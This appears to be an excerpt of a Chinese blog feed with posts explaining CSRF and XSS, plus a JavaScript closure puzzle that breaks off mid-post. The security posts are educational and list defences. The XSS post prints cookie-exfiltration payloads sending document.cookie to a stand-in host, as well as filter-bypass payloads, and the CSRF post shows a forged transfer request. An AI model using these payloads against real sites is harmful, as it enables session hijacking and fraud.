<link href="https://github.com/Zyingying/2016/03/30/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E6%87%B5%E9%80%BC%E7%9A%84%E5%AE%89%E5%85%A8%E7%9F%A5%E8%AF%86%E4%B9%8BCSRF/"/>
<id>https://github.com/Zyingying/2016/03/30/那些年我们懵逼的安全知识之CSRF/</id>
<published>2016-03-30T05:53:30.000Z</published>
<updated>2016-04-02T07:05:18.468Z</updated>
<content type="html"><![CDATA[<p>上次我们提到了XSS攻击,并说了两种XSS攻击类型,分别是反射型和存储型,并提出了一系列的解决方法。<br>但是同为程序员的攻击者当然也不会那么轻易被打败,他们很快又找到了一种方式————CSRF<br><a id="more"></a><br>惯例,首先先将定义搬出来</p><h2 id="什么是CSRF"><a href="#什么是CSRF" class="headerlink" title="什么是CSRF"></a>什么是CSRF</h2><blockquote><p><strong>CSRF(Cross-site request forgery),中文名称:跨站请求伪造,缩写为:CSRF/XSRF</strong></p></blockquote><blockquote><p>是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。[from 维基百科]</p></blockquote><p>看到官方定义我们应该会有些疑问</p><ul><li>能做什么</li><li>伪造什么</li><li>怎么伪造</li></ul><p>当你了解完这些就明白它与XSS的基本不同点了</p><h3 id="能做什么"><a href="#能做什么" class="headerlink" title="能做什么"></a>能做什么</h3><p>简单的说,攻击者可以盗用你的登陆信息,以你的身份模拟发送请求。通过一些手段,攻击者就能使用户去执行攻击者的操作。</p><p>例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。<br><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-comment"><!-- 比如银行的get请求长这样 --></span></span><br><span class="line">http://www.mybank.com/Transfer.php?toBankId=11&money=1000</span><br><span class="line"><span class="hljs-comment"><!-- 然后坏人想办法发给你一个链接 --></span></span><br><span class="line"><span class="hljs-tag"><<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">'http://www.mybank.com/Transfer.php?toBankId=11&money=1000'</span>></span></span><br></pre></td></tr></table></figure></p><p>你最终点击了这个链接,结果就是,你在刚登陆了银行账户的情况下,不明真相的被窃取了1000元到骗纸的账户去了</p><h3 id="伪造什么"><a href="#伪造什么" class="headerlink" title="伪造什么"></a>伪造什么</h3><p>我们可以通过刚刚那个简单的例子发现,<strong>其实它并不像<code>XSS</code>那样,要运行脚本才能进行攻击</strong>,它也不需要注入什么东西,甚至不需要获取你的<code>cookie</code>到他那边。</p><p><code>CSRF</code>攻击主要是因为<code>Web</code>的隐式身份验证机制,<code>Web</code>的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。</p><p>简言之,攻击者的最后的目的就是,模仿你本人,给服务端发送请求信息。由于是你自己客户端这边发起的请求,所以服务端以为是你本人的正经请求,所以就帮你处理了,最后造成悲剧。</p><h3 id="如何伪造"><a href="#如何伪造" class="headerlink" title="如何伪造"></a>如何伪造</h3><p>我们首先要知道,一个`CSRF攻击是如何进行的。</p><p>只要两步就可以简单的完成<code>CSRF</code>攻击:<br> 1. 登入受信任网站A,并在本地生成<code>cookie</code>。<br> 2. 在不登出A的情况下,访问危险网站B。</p><p>所谓的不登出A,也不是完全是登出了A就安全的,因为你不清楚你的本地<code>cookie</code><strong>是不是关闭了就会马上过期</strong>。<br>接着,危险的网站B,也<strong>不一定是攻击者的网站</strong>,也可能是可信任的网站,但是有漏洞,然后被人攻击。</p><p><img src="http://7xpwlt.com1.z0.glb.clouddn.com/csrf.jpg" alt="csrf攻击过程" title="模拟csrf攻击过程"></p><p>在写博客的过程中,看见这样一条新闻<br><img src="http://7xpwlt.com1.z0.glb.clouddn.com/csrf%E6%94%BB%E5%87%BB.jpg" alt="网络攻击" title="网络攻击"></p><p>所以说,在遇到<code>CSRF</code>攻击时,将对终端用户的数据和操作指令构成严重的威胁;<br>当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个网站的安全。</p><h2 id="如何预防"><a href="#如何预防" class="headerlink" title="如何预防"></a>如何预防</h2><p>一般的防御方法有以下几种</p><h3 id="为用户生成一个唯一的cookie-token"><a href="#为用户生成一个唯一的cookie-token" class="headerlink" title="为用户生成一个唯一的cookie token"></a>为用户生成一个唯一的cookie token</h3><p>所有表单都包含同一个伪随机值——也就是所以当你请求的时候,表单会包含一个随机参数。<br>因为我们之前强调,<code>CSRF</code>的攻击者并不知道被攻击者的<code>cookie</code>,所以他并没有办法伪造表单的数据,所以这是比较简单的方法</p><p>但是这个有个缺点,如果用户的<code>cookie</code>之前被XSS攻击盗取呢,好像也不是100%安全啊。</p><h3 id="验证码"><a href="#验证码" class="headerlink" title="验证码"></a>验证码</h3><p>相信大家都有在表单上面输入验证码的经历,通过表单的验证码可以很容易判断是不是伪造了请求,而且防御效果还是很好的。<br>但是有些东西相信大家深有体会的,没错,就是验证码的用户体验是在是不咋滴。</p><h3 id="不同的表单包含一个不同的伪随机值"><a href="#不同的表单包含一个不同的伪随机值" class="headerlink" title="不同的表单包含一个不同的伪随机值"></a>不同的表单包含一个不同的伪随机值</h3><p>这个随机值<code>token</code>是在前端生成的,通过一系列算法,为每个表单附上不同的随机值。原来是用作防止表单多次重复提交。现在可以稍微修改用作随机添加的<code>token</code>值。而且不需要太担心算法被破解。因为暴力破解该串大概需要2的11次方时间。</p><p>主要的实现方法可以<a href="https://github.com/astaxie/build-web-application-with-golang/blob/master/zh/09.1.md">参考这篇文章</a></p><h2 id="https能否抵御CSRF"><a href="#https能否抵御CSRF" class="headerlink" title="https能否抵御CSRF"></a>https能否抵御CSRF</h2><p>答案是 : <strong>不能</strong><br>一开始我也以为是可以的,但是其实https是一个加密协议,并不能阻止他攻击的必要两个步骤(1. 登入受信任网站A,并在本地生成<code>cookie</code>。2. 在不登出A的情况下,访问危险网站B)</p><p>所以使用https并不能有效的阻止<code>CSRF</code></p>]]></content>
<summary type="html">
<p>上次我们提到了XSS攻击,并说了两种XSS攻击类型,分别是反射型和存储型,并提出了一系列的解决方法。<br>但是同为程序员的攻击者当然也不会那么轻易被打败,他们很快又找到了一种方式————CSRF<br></p>
</summary>
<category term="js" scheme="https://github.com/Zyingying/tags/js/"/>
<category term="安全" scheme="https://github.com/Zyingying/tags/%E5%AE%89%E5%85%A8/"/>
<category term="攻击" scheme="https://github.com/Zyingying/tags/%E6%94%BB%E5%87%BB/"/>
</entry>
<entry>
<title>那些年我们懵逼的安全知识——XSS</title>
<link href="https://github.com/Zyingying/2016/03/29/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E6%87%B5%E9%80%BC%E7%9A%84%E5%AE%89%E5%85%A8%E7%9F%A5%E8%AF%86%E4%B9%8BXSS/"/>
<id>https://github.com/Zyingying/2016/03/29/那些年我们懵逼的安全知识之XSS/</id>
<published>2016-03-29T14:29:10.000Z</published>
<updated>2016-04-09T17:55:06.833Z</updated>
<content type="html"><![CDATA[<p>前几天在面试的时候,被问过两次前端安全知识,第一次听见的时候是懵逼的,后面赶紧回去补了一番,可是第二次回答的时候,感觉对方还是不是很满意的样子,所以我赶紧又再次对这些再次系统的了解了一下<br><a id="more"></a></p><h2 id="什么是XSS"><a href="#什么是XSS" class="headerlink" title="什么是XSS"></a>什么是XSS</h2><p>首先,靠死记硬背肯定是不行的,总是特别容易就忘记了。<br>那么我们得先了解 <code>XSS</code>的全名呀:<br><strong> XSS 全称(Cross Site Scripting) 跨站脚本攻击 </strong><br><strong> XSS 全称(Cross Site Scripting) 跨站脚本攻击 </strong><br><strong> XSS 全称(Cross Site Scripting) 跨站脚本攻击 </strong><br>重要的事情说三遍<br>(原本的缩写应该是 <code>CSS</code>可惜和我们伟大的<code>CSS</code>重名了,只好委屈一下更名 <code>XSS</code>)<br>在这句话里面,我们能够捕捉到几个信息:</p><ul><li>一个是跨站</li><li>一个是脚本Scripting</li></ul><p>所以,区别<code>xss</code>攻击和别的攻击一个最基本的特点就是:<strong>它需要注入脚本</strong><br>它是代码注入的一种。它允许恶意用户将代码注入到网页上,在其他用户访问网站的时候,脚本运行从而影响他人。这类攻击通常包含了HTML以及用户端脚本语言。</p><h3 id="举个栗子"><a href="#举个栗子" class="headerlink" title="举个栗子"></a>举个栗子</h3><p>XSS这种攻击是由外部发起的,在用户点击链接,下载图片或者提交表单的时候,对应用网站进行了意想之外的操作。<br>详细以前玩过QQ空间的人可能会遇到过一个类似的恶作剧,有人故意在一个页面里面运行了一个行这样的代码<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {</span><br><span class="line"> alert(<span class="hljs-string">"你关不掉我~"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>当我们点击的时候,弹窗总是一直一直的在不停的被关闭和跳出,手机观看也是一样的,这个时候,我们就不得不关掉浏览器,再重新开一次。</p><p>又比如<br>我可以在一些贴吧或者是社区里面写上一些链接,起一点比较有吸引力的名字,比如叫:某某的后裔大结局下载,某某的美图,然后代码里面悄悄附上我下面这段链接,这样不明真相的吃瓜观众或许就会被我吸引从而点击这个链接<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">location.href=<span class="hljs-string">'http://www.xss.com?cookie='</span>+<span class="hljs-built_in">document</span>.cookie; <span class="hljs-comment">//坏人的网站</span></span><br></pre></td></tr></table></figure></p><p>用户的<code>cookie</code>我也拿到了,如果服务端<code>session</code>没有设置过期的话,我以后甚至拿这个<code>cookie</code>而不需用户名密码,就可以以这个用户的身份登录成功了。</p><p>虽然都是注入脚本,但是上面两个例子还是有点点不同的,接下来让我们看看</p><h2 id="XSS攻击分类"><a href="#XSS攻击分类" class="headerlink" title="XSS攻击分类"></a>XSS攻击分类</h2><p>根据XSS脚本注入方式的不同,我们可以对XSS攻击进行简单的分类。其中,最常见的就数反射型XSS和存储型XSS了。</p><h3 id="反射型"><a href="#反射型" class="headerlink" title="反射型"></a>反射型</h3><p>反射型XSS,又称非持久型XSS。</p><ul><li>称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。</li><li>又称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。</li></ul><p>比如攻击者将如下链接发送给受害者:<br><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.targetserver.com/search.asp?input=<span class="hljs-tag"><<span class="hljs-name">script</span>></span><span class="hljs-javascript">alert(<span class="hljs-built_in">document</span>.cookie);</span><span class="hljs-tag"></<span class="hljs-name">script</span>></span></span><br></pre></td></tr></table></figure></p><p>当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的search.asp页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。</p><p>这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型<code>XSS</code>的原因。</p><h3 id="存储型"><a href="#存储型" class="headerlink" title="存储型"></a>存储型</h3><p>存储型XSS,又称持久型XSS</p><ul><li>这种攻击往往比上面的反射性要后果要更严重。</li><li>和反射型XSS最大的不同就是,攻击脚本将被<strong>永久地存放在目标服务器的数据库和文件中</strong>。</li></ul><p>这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛<strong>服务器存储下来</strong>,恶意脚本也永久地被存放在论坛服务器的后端存储器中。</p><p>当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。</p><p>可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面当中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型的XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入的往往是一些我们所信任的页面,因此无论我们多么小心,都难免会受到攻击。可以说,存储型XSS更具有隐蔽性,带来的危害也更大,除非服务器能完全阻止注入,否则任何人都很有可能受到攻击。</p><p>让我们回顾一下,上面的栗子2就是一个存储型XSS的很好的栗子,在贴吧里面发布信息并提交,让各种看到这个帖子的人点击进去,运行这个脚本。<br>或许你又会说,那我不点击那个奇怪的链接就好了啊,或者让管理员去把那些删掉就好。<br>那么让我们换种方式吧,在我的图片下面附上这样的代码,你很有可能是完全都不会发觉的:<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> img = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'img'</span>);</span><br><span class="line">img.src=<span class="hljs-string">'http://www.xss.com?cookie='</span>+<span class="hljs-built_in">document</span>.cookie;</span><br><span class="line">img.style.display=<span class="hljs-string">'none'</span>;</span><br><span class="line"><span class="hljs-built_in">document</span>.getElementsByTagName(<span class="hljs-string">'body'</span>)[<span class="hljs-number">0</span>].appendChild(img);</span><br></pre></td></tr></table></figure></p><p>而且,在网页注入代码的方法可能的多种多样的,可以这样<br><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-tag"><<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"http://www.xss.com"</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">alert(this.name)</span> <span class="hljs-attr">name</span>=<span class="hljs-string">xss</span> <span class="hljs-attr">ref</span>=<span class="hljs-string">xss</span>></span><span class="hljs-tag"></<span class="hljs-name">a</span>></span></span><br><span class="line">//或者</span><br><span class="line">onload="alert('xss')"</span><br></pre></td></tr></table></figure></p><p>这个时候,我们就必须得相处点办法,将标签识别,比如:不让<code>script</code>过去,然而人算不如黑客算呀,他们又有一种新方式了,像这样:<br><figure class="highlight plain hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt; alert(&quot;xss&quot;)&lt;/script&gt; </span><br><span class="line">//或者</span><br><span class="line">$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');</span><br></pre></td></tr></table></figure></p><p>然后咱们就GG了又….</p><h2 id="如何防御"><a href="#如何防御" class="headerlink" title="如何防御"></a>如何防御</h2><p>讲了那么多,大家一定很慌,宝宝上个网太危险了。没关系,还是有一点的方法去抵御的。</p><h3 id="http-only"><a href="#http-only" class="headerlink" title="http only"></a>http only</h3><p>由于大部分xss攻击都是想要窃取我们的<code>cookie</code>来做坏事的,所以我们如果能够让他们不能拿到我们的<code>cookie</code>的话,那起码我们的各种损失可以降下来一半。<br>我们可以给浏览器设置<code>Cookie</code>的头如下:<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"> <span class="hljs-built_in">Set</span>-Cookie: =[; =]</span><br><span class="line"> [; expires=][; domain=]</span><br><span class="line"> [; path=][; secure][; HttpOnly]</span><br></pre></td></tr></table></figure></p><p>这样一来,就不能通过脚本来获取你现在活动状态下的cookie,但是咱们是个有志向的程序员,怎么可以就此满足。</p><h3 id="过滤JavaScript-事件的标签"><a href="#过滤JavaScript-事件的标签" class="headerlink" title="过滤JavaScript 事件的标签"></a>过滤JavaScript 事件的标签</h3><p>例如,我们可以过滤<code>"onclick"</code>, <code>"onfocus"</code> , <code>"onload"</code>这种类型的标签。包括一些大小写<code>"oNcLick"</code>, <code>"onFOcus"</code> 这种类型的也要注意过滤,不然人家轻轻一改,就坑爹了。当然过滤这些事件标签还不够,只要人家坚持不懈,还是可以找到一些漏洞的地方,像下面这个<br><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-tag"><<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"rhainfosec.com"</span> <span class="hljs-attr">onmouseover</span>=<span class="hljs-string">alert(1)</span>></span>ClickHere<span class="hljs-tag"></<span class="hljs-name">a</span>></span></span><br><span class="line"><span class="hljs-comment"><!-- 事件处理被过滤了吗?或者是仅仅过滤了on后面的mouseover? --></span></span><br><span class="line"></span><br><span class="line"><span class="hljs-comment"><!-- 接下来插入一个无效的事件处理,查看是否所有的事件处理都会被过滤或者仅部分会被过滤。 --></span></span><br><span class="line"></span><br><span class="line"><span class="hljs-tag"><<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"rhainfosec.com"</span> <span class="hljs-attr">onclimbatree</span>=<span class="hljs-string">alert(1)</span>></span>ClickHere<span class="hljs-tag"></<span class="hljs-name">a</span>></span></span><br><span class="line"><span class="hljs-comment"><!-- 收到相同的响应了吗?可以插入吗? --></span></span><br></pre></td></tr></table></figure></p><p>在HTML5中,存在超过150种事件处理,这也意味着我们有150多种方法来执行javascript。<br>所以还需要有更保险一点的方法才行</p><h3 id="Html-Encode-处理"><a href="#Html-Encode-处理" class="headerlink" title="Html Encode 处理"></a>Html Encode 处理</h3><p>XSS之所以会发生, 是因为用户输入的数据变成了代码。<br>要想拒绝引入代码,就得要把这些<html><body>变成一个字段,而不是被浏览器运行的代码。<br>所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的”中括号”, “单引号”,“引号” 之类的特殊字符进行编码。<br>让本身一段代码,变成了一段显示的字符串</body></html></p><p>又又又又但是…..<br>不知道大家有么有用过富文本编辑器,像这种<br><img src="http://7xpwlt.com1.z0.glb.clouddn.com/%E5%AF%8C%E6%96%87%E6%9C%AC.jpg" alt="富文本编辑器"><br>当我们使用富文本编辑器里面的一些功能的时候,我们会发现,其对应的html标签也会发生相应的改变<br><img src="http://7xpwlt.com1.z0.glb.clouddn.com/%E5%AF%8C%E6%96%87%E6%9C%AC%E6%9F%A5%E7%9C%8B%E6%A0%B7%E5%BC%8F.jpg" alt=""><br>这个时候,使用html过滤就行不通了,因为很有可能会把里面的那些样式输出到文本里面,对于一些BBS,他们尚可以用自定义的一些标签比如 <code>[标签名]</code>这种方式来绕过html编码,但是对于其他的没有自定义标签的编辑器来说,可能就是灾难了。</p><p>如何解决,下面让我们来看下一种方法。</p><h3 id="过滤特殊的Html标签"><a href="#过滤特殊的Html标签" class="headerlink" title="过滤特殊的Html标签"></a>过滤特殊的Html标签</h3><p>我们可以预判哪些标签是有可能造成<code>xss</code>攻击的,然后对标签过滤或者是移除。这个和上面的过滤事件的标签是非常类似的,可以将他们合并一起过滤。</p><p>比如我们可以设置让所有的<code><script></code> <code><iframe></code> <code><a></code> <code><img></code>等等标签都不能通行,来达到我们的目的。<br>但是也不只是这种方式,我们可以反向思维</p><p>其实这里过滤有两种可以选择的方式:</p><ul><li>过滤对我们有害的标签,不让其通行过去。除此之外都可以通过————设置<strong>黑名单</strong></li><li>过滤对我们安全的标签,可以让其过去,除此之外的都不可以通过————设置<strong>白名单</strong></li></ul><p>一般我们会选择哪种呢?<br>如果是我的话,为了保险起见,可能会选择白名单的模式,因为其实可以执行的事件是很多的,标签也有各种各样,难保攻击者不会找到一个特别偏门的标签来选择攻击,所以选择我们已经信任的一些白名单来允许通过,会更加有力的去阻止xss攻击一些。</p><h2 id="参考文档"><a href="#参考文档" class="headerlink" title="参考文档"></a>参考文档</h2><ul><li><a href="http://www.2cto.com/Article/201402/278277.html" target="_blank" rel="noopener">绕过WAF的XSS过滤</a></li><li><a href="https://segmentfault.com/a/1190000003798884" target="_blank" rel="noopener">前端xss攻击</a></li><li><a href="http://blog.jobbole.com/47372/" target="_blank" rel="noopener">防御 XSS 攻击的七条原则</a></li></ul>]]></content>
<summary type="html">
<p>前几天在面试的时候,被问过两次前端安全知识,第一次听见的时候是懵逼的,后面赶紧回去补了一番,可是第二次回答的时候,感觉对方还是不是很满意的样子,所以我赶紧又再次对这些再次系统的了解了一下<br></p>
</summary>
<category term="js" scheme="https://github.com/Zyingying/tags/js/"/>
<category term="安全" scheme="https://github.com/Zyingying/tags/%E5%AE%89%E5%85%A8/"/>
<category term="攻击" scheme="https://github.com/Zyingying/tags/%E6%94%BB%E5%87%BB/"/>
</entry>
<entry>
<title>关于闭包的一些题目(一)</title>
<link href="https://github.com/Zyingying/2016/03/27/%E5%85%B3%E4%BA%8E%E9%97%AD%E5%8C%85%E7%9A%84%E4%B8%80%E4%BA%9B%E9%A2%98%E7%9B%AE(%E4%B8%80)/"/>
<id>https://github.com/Zyingying/2016/03/27/关于闭包的一些题目(一)/</id>
<published>2016-03-27T09:46:56.000Z</published>
<updated>2016-03-27T14:44:12.828Z</updated>
<content type="html"><![CDATA[<p>今天看见一道自认为比较有难度比较绕的闭包题目,倒腾了好一会才弄出答案来,这题目是别人博客里面写的,本着“自己懂还不算真的懂,给别人讲懂了才算真的懂的原则”,故我在这篇博客里面来说说这道题目<br> <a id="more"></a><br> 这是本人第一次描述这些题目,如果有用词不当,请提出^_^<br> 原作者的链接我会赋到最下面,如有冒犯请通知我,我会删掉的。</p><h3 id="题目如下"><a href="#题目如下" class="headerlink" title="题目如下"></a>题目如下</h3><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">fun</span>(<span class="hljs-params">n,o</span>) </span>{</span><br><span class="line"> <span class="hljs-built_in">console</span>.log(o)</span><br><span class="line"> <span class="hljs-keyword">return</span> {</span><br><span class="line"> fun:<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">m</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">return</span> fun(m,n);</span><br><span class="line"> }</span><br><span class="line"> };</span><br><span class="line">}</span><br><span class="line"><span class="hljs-keyword">var</span> a = fun(<span class="hljs-number">0</span>); a.fun(<span class="hljs-number">1</span>); a.fun(<span class="hljs-number">2</span>); a.fun(<span class="hljs-number">3</span>);</span><br><span class="line"><span class="hljs-keyword">var</span> b = fun(<span class="hljs-number">0</span>).fun(<span class="hljs-number">1</span>).fun(<span class="hljs-number">2</span>).fun(<span class="hljs-number">3</span>);</span><br><span class="line"><span class="hljs-keyword">var</span> c = fun(<span class="hljs-number">0</span>).fun(<span class="hljs-number">1</span>); c.fun(<span class="hljs-number">2</span>); c.fun(<span class="hljs-number">3</span>);</span><br><span class="line"><span class="hljs-comment">//问:三行a,b,c的输出分别是什么?</span></span><br></pre></td></tr></table></figure><p>是不是有点懵逼?如果是,请先冷静一下哈,太懵逼是没办法解决问题的(虽然我看到第一眼就懵了,但是你可以慢慢来,还是可以梳理好的)。如果不是那你一定在闭包上面有深深的理解。</p><p>第一个 <code>fun</code> 函数,是标准具名函数声明,返回了一个对象字面量表达式,也就是一个 <code>object</code> 。<br>第二个 <code>fun</code> 是一个属性,是匿名函数表达式。<br>第三个 <code>fun</code> 是调用的,也就是第一个<code>fun</code>,有点递归的意思。这里或许你会问为什么不等于第二个 <code>fun</code> ?其实我们可以将以下代码在浏览器<code>console</code>测试一下<br>假如是第三个fun是同第二个一样:<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> o={</span><br><span class="line"> fn:<span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>)</span>{</span><br><span class="line"> <span class="hljs-built_in">console</span>.log(fn);</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line">o.fn();<span class="hljs-comment">//ERROR报错</span></span><br></pre></td></tr></table></figure></p><p>我们发现它最终会报错,显示<code>fn is not defined(...)</code><br>下面再看另一个<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> fn = <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>)</span>{</span><br><span class="line"> <span class="hljs-built_in">console</span>.log(fn);</span><br><span class="line">};</span><br><span class="line">fn();<span class="hljs-comment">//function (){console.log(fn);};正确</span></span><br></pre></td></tr></table></figure></p><p>这次就没有报错了,<code>var</code> 在函数外部创建了一个fn,函数内部找不到fn则可以向上寻找,但是第一种是在函数内部创建的,没办法找到。</p><p>所以我们可以得知,第三个函数是第一个的这个<code>fun</code><br>所以我们回顾一下原来的函数</p><h2 id="1-第一行"><a href="#1-第一行" class="headerlink" title="1.第一行"></a>1.第一行</h2><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> a = fun(<span class="hljs-number">0</span>); a.fun(<span class="hljs-number">1</span>); a.fun(<span class="hljs-number">2</span>); a.fun(<span class="hljs-number">3</span>);</span><br></pre></td></tr></table></figure><p>首先<code>fun(0)</code>,即<code>n = 0</code>传入了<code>fun(n,o)</code>,此时<code>o</code>没有值,则为<code>undefined</code> :<br>故第一个输出为 undefined<br>接着的return返回了一个对象字面量表达式,也就是类似下面<br><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> a = {</span><br><span class="line"> fun:<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">m</span>)</span>{</span><br><span class="line"> <span class="hljs-keyword">return</span> fun(m,n);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p>接着的 <code>a.fun(1)</code> 参数 <code>m = 1</code> , <code>n</code>的值我们之前在<code>fun(0)</code>里面知道了——是 <code>0</code>。则下面的<code>fun(m,n)</code>则是 <code>fun(1,0)</code> ,再倒回去看函数第一个fun(最外面的那个)<code>m->n</code> , <code>n->o</code>,所以打印出来的<code>o</code>也就是最后<code>n</code>的值,为 <strong>0</strong></p><p>那么 <code>a.fun(2)</code>呢?其实也是差不多的,<code>m = 2</code>的时候,n还是原来的 <code>n = 0</code>,你问为什么?因为在<code>var a = fun(0)</code>的时候已经确定了呢,所以最终输出 0(第三个<code>fun</code>的参数<code>n</code>将值赋给了第一个<code>fun</code>的<code>o</code>)</p><p>所以这么看来的话,第一行的第三个是不是也是很好解决呢?<br>和前面两个一样也是等于<code>0</code></p><p>所以第一行的答案是:<br><strong> undefined 0 0 0</strong></p><h2 id="2-第二行"><a href="#2-第二行" class="headerlink" title="2.第二行"></a>2.第二行</h2><figure class="highlight javascript hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-keyword">var</span> b = fun(<span class="hljs-number">0</span>).fun(<span class="hljs-number">1</span>).fun(<span class="hljs-number">2</span>).fun(<span class="hljs-number">3</span>);</span><br></pre></td></tr></table></figure><ol><li>首先第一个值是<code>undefined</code>是同刚刚第一行的一样的。</li><li>那么接下来看又引用了 <code>fun</code>这个方法,也就是<code>m = 1</code>,n是原来的0,也就是最后<code>o = 0</code>,那么第二个输出的数字就为 <strong>0</strong></li><li>此时还没完呢,接着又马上来了个<code>fun(2)</code>,此时的fun其实又变成了最外层的那个<code>fun</code>,那么<code>m = 2,n = 1</code>,对应<code>fun(n,o)</code>就是 <code>n=2,o=1</code>.此刻你应该明白了,下一个输出的数是 <strong>1</strong></li><li>最后一个是<code>fun(3)</code>,这个又再次变成了fun里面的那个方法<code>fun</code>里面的函数,由于上次 <code>n=2 m=3</code> => <code>fun(3,2)</code>,最后一个输出 <strong>2</strong></li></ol><p>所以第二行的答案是:<br><strong> undefined 0 1 2</strong></p><h2 id="3-第三行"><a href="#3-第三行" class="headerlink" title="3.第三行"></a>3.第三行</h2><figure class="highlight javascript hljs"><table><tr><td 